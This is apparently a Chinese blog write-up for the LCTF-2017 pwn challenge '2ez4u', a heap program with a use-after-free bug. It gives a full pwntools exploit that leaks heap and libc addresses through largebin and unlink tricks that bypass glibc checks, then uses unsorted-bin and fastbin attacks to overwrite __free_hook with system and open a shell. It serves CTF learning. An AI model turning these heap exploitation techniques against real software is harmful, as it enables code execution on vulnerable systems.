LCTF-2017 2ez4u

保护

在这里插入图片描述

分析

典型的菜单型程序,可用的操作用增删改查。添加操作的伪代码:
在这里插入图片描述

  • 可以得到一个大概的结构体
struct Apple{
size_t Color;
size_t Value;
size_t Id;
char Description[size]
};
  • 这里需要注意一点,Color,Value,Id 占去了一个chunk 结构的 fdbkfd_size。输入也存在0截断:
    在这里插入图片描述

删除操作伪代码:
在这里插入图片描述

  • 释放的指针没有置空

编辑操作的伪代码:
在这里插入图片描述

  • 结合删除操作的伪代码,可以发现存在UAF漏洞,输出操作中同样也存在:
    在这里插入图片描述

大体利用思路

  • 根据前面的分析,常规方法就不能泄露堆地址。这里需要涉及到largebin 的利用,一个chunkfd_sizebk_size就是largebin专属的。当一个chunk 位于largebin且空闲的时候,这两个专属成员将会被赋值,我们就可以泄露这个值得到堆地址。
  • 最麻烦的地方就是泄露libc内存了,只有得到overlaping chunk 才有可能泄露出来。想法是假如有若干个chunk,其中有
...chunk_0 chunk_1 chunk_2 chunk_3 chunk_4 chunk_5 chunk_6...
  • chunk_3,chunk_4chunk_5 是属于largebin 大小的(0x400 及其以上,上限不记得了)。chunk_0,chunk_1,chunk_2属于smallbin 大小的(0x800x3ff)。
  • 释放掉 chunk_4,chunk5,使其全部进入largebin 中。
  • chunk_0~chunk2 中找到合适的位置,伪造两个chunk,一个是我们想要得到的overlaping chunk,记作target chunk,另一个是为了绕过 largebin unlink 检查而伪造的记作 fchunk_1
  • 利用 largebin chunkunlink 得到target chunk
  • 在这个target chunk中就包含有chunk_0~chunk_2中的某一个,然后利用smallbin空闲chunkfd会被赋值为libc中的内存,从而泄露libc内存。
  • 此时,largebin 已经被破坏,如果再想利用largebin进行攻击得修复,这对我来说很困难。于是我采用fastbin attack的方式去攻击 free_hook。(攻击malloc_hook 也许也可行,但我第一次尝试失败后就不想再往这里搞下去了。。。)
  • 但是,我们还不能直接这么做,因为 free_hook 上边全都是空的,不能错出一个size位。所以还得先利用unsortbin attack攻击free_hook上边某个位置。

先贴上完整的EXP,后面分部解释。

EXP

#!/usr/bin/env python
# coding=utf-8
from pwn import*

#context.log_level='debug'

def Add(l,d):
    p.sendlineafter('choice: ','1')
    p.sendlineafter('):','0')
    p.sendlineafter('):','0')
    p.sendlineafter('):','0')
    p.sendlineafter('):',str(l))
    p.sendlineafter('apple:',d)
def Edit(idx,d):
    p.sendlineafter('choice: ','3')
    p.sendlineafter('):',str(idx))
    p.sendlineafter('):','0')
    p.sendlineafter('):','0')
    p.sendlineafter('):','0')
    p.sendlineafter('apple:',d)
def Show(idx):
    p.sendlineafter('choice: ','4')
    p.sendlineafter('):',str(idx))
def Del(idx):
    p.sendlineafter('choice: ','2')
    p.sendlineafter('):',str(idx))

p=process('./2ez4u',aslr=False)
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)

Add(0x60,'0'*0x60)#0
Add(0x60,'1'*0x60)#1
Add(0x60,'2'*0x60)#2
Add(0x60,'3'*0x60)#3
Add(0x60,'4'*0x60)#4
Add(0x60,'5'*0x60)#5
Add(0x3f0,'7'*0x3f0)#6
Add(0x60,  '8'*0x60 )#7
Add(0x3e0, '9'*0x3e0)#8
Add(0x60,  '9'*0x80 )#9
Add(0x3f0, 'a'*0x3d0)#a
Add(0x60-0x18,  'b'*0x30 )#b
Add(0x60-0x18,  'c'*0x30 )#c
Add(0x60-0x18,  'd'*0x30 )#d

Del(8)
Del(0xa)
Del(0)

Add(0x400,'')#1

Show(0xa)
p.recvuntil('description:')
heap_addr=u64(p.recvuntil('\n',drop=True).ljust(8,'\0'))-0x790
success('heap_addr:'+hex(heap_addr))
target_addr=heap_addr+0x130 #2
fchunk1_addr=heap_addr+0xb0 #1
fchunk2_addr=heap_addr+0x1b0 #3
fchunk3_addr=heap_addr+0xc10 #10

success('target_addr:'+hex(target_addr))
success('fchunk1_addr:'+hex(fchunk1_addr))
success('fchunk2_addr:'+hex(fchunk2_addr))
success('fchunk3_addr:'+hex(fchunk3_addr))

Edit(0xa,p64(target_addr))

ftarget=p64(0)*2+p64(0x411)+p64(fchunk1_addr-0x18)+p64(fchunk1_addr-0x10)
ftarget+=p64(fchunk3_addr)+p64(fchunk2_addr)

Edit(2,ftarget)

fake=p64(0)+p64(target_addr)
Edit(1,fake)

fake=p64(0)*2+p64(0x421)+p64(0)*2+p64(target_addr)
Edit(3,fake)
Edit(6,'6'*0x218+p64(0x410)+p64(0x411))

Del(5)
Del(3)

Add(0x3f0,'3'*56)#3
Add(0x60,'')#5
Show(3)
p.recvuntil('3'*56)
libc_base=u64(p.recv(6).ljust(8,'\0'))-0x3c4be8
success('libc_base:'+hex(libc_base))
free_hook=libc.sym['__free_hook']+libc_base
success('free_hook:'+hex(free_hook))
system=libc_base+libc.sym['system']
#unsortbin attack

Del(6)
Del(3)

pay=p64(0)*2+p64(0x411)+p64(heap_addr+0x280)+p64(free_hook-0x48)
Edit(2,pay)
Add(0x3f0,'')
#fastbin attack
pay=p64(0)*2+p64(0x71)
Edit(2,pay)
pay=p64(0)*6+p64(0x31)+p64(0)*3+p64(0x431)
Edit(3,pay)
Del(0xc)
Del(0x3)

pay=p64(0)*2+p64(0x71)+p64(free_hook-0x3b)

Edit(2,pay)

Add(0x60-0x18,'/bin/sh')
pay='a'*0x13+p64(system)

Add(0x60-0x18,pay)

pay=p64(0)*2+p64(0x71)+'/bin/sh'
Edit(2,pay)
Del(3)

p.interactive()

EXP分部解释

泄露堆地址

...
Del(8)
Del(0xa)
Del(0)#防止别的chunk位置被覆盖,也为后面泄露libc内存做铺垫

Add(0x400,'')#1 目的是使得chunk_8和chunk_a进入largebin

Show(0xa)
p.recvuntil('description:')
heap_addr=u64(p.recvuntil('\n',drop=True).ljust(8,'\0'))-0x790
success('heap_addr:'+hex(heap_addr))
...
  • 之所以要添加这么多个0x60apple,是为了后面的伪造。此时可以看到chunk_abk_size出现了堆地址

在这里插入图片描述

  • 低位没有0,故而这6个字节完全可以泄露

泄露libc

构造chunk实现unlink

...
target_addr=heap_addr+0x130 #在chunk_2中构造
fchunk1_addr=heap_addr+0xb0 #在chunk_1中构造
fchunk2_addr=heap_addr+0x1b0 #在chunk_3中构造
fchunk3_addr=heap_addr+0xc10 #实际就是释放后的chunk_a的首地址
Edit(0xa,p64(target_addr))

ftarget=p64(0)*2+p64(0x411)+p64(fchunk1_addr-0x18)+p64(fchunk1_addr-0x10)
ftarget+=p64(fchunk3_addr)+p64(fchunk2_addr)

Edit(2,ftarget)

fake=p64(0)+p64(target_addr)
Edit(1,fake)

fake=p64(0)*2+p64(0x421)+p64(0)*2+p64(target_addr)
Edit(3,fake)
Edit(6,'6'*0x218+p64(0x410)+p64(0x411))# 补充与target相邻的chunk->prev_size和chunk->size

Del(5)
Del(3)

Add(0x3f0,'3'*56)#3 使chunk_5和chunk_3进入smallbin
Add(0x60,'')#5
Show(3)
p.recvuntil('3'*56)
libc_base=u64(p.recv(6).ljust(8,'\0'))-0x3c4be8
success('libc_base:'+hex(libc_base))
...
  • fchunk_1的结构:
    在这里插入图片描述
  • target_chunk的结构:
    在这里插入图片描述
  • 即,target_chunk->fd=fchunk_1-0x18,target_chunk->bk=fchunk_1-0x10
    是为了绕过unlink的检测:
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))		      \
      malloc_printerr (check_action, "corrupted double-linked list", P, AV);  \
  • target_chunk->fd_size=fchunk_3,target_chunk->bk_size=fchunk_2
  • fchunk_2的结构:
    在这里插入图片描述
  • fchunk_2->fd_size=target_addr,为了绕过:
 if (!in_smallbin_range (P->size)				      \
            && __builtin_expect (P->fd_nextsize != NULL, 0)) {		      \
	    if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)	      \
		|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))    \
	      malloc_printerr (check_action,				      \
			       "corrupted double-linked list (not small)",    \
			       P, AV);	
  • 所有需要构造的chunk 构造完毕会形成如下连接图:
    在这里插入图片描述
  • EXP进行完
Add(0x3f0,'3'*56)#3 使chunk_5和chunk_3进入smallbin

时,chunk_3:
在这里插入图片描述

  • chunk_4还存在0 截断,并且内容也不是我们所期待的,接着执行完
Add(0x60,'')#5

在这里插入图片描述* 下次申请0x80chunk时,这块chunk_0就被拿走,然后0x190这块chunkfd就被写入libc 内存。
在这里插入图片描述

  • 出现了libc内存并且0截断消失,通过打印chunk3 就能得到libc 内存。

Get Shell

unsortbin attack

#unsortbin attack
Del(6)
Del(3)
# 此时unsortbin中的情况:chunk_3->chunk_6
pay=p64(0)*2+p64(0x411)+p64(heap_addr+0x280)+p64(free_hook-0x48)#修改chunk_3->bk=free_hook-0x48
Edit(2,pay)
Add(0x3f0,'')
  • 执行完毕上面代码后,free_hook上方就会写入libc内存,然后就可以利用fastbin attack

总结

这道题的质量非常高,将三种类型的chunk利用都综合了起来,并且可以锻炼堆布局的前瞻性,借此学习了largebin 的其中一种利用。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值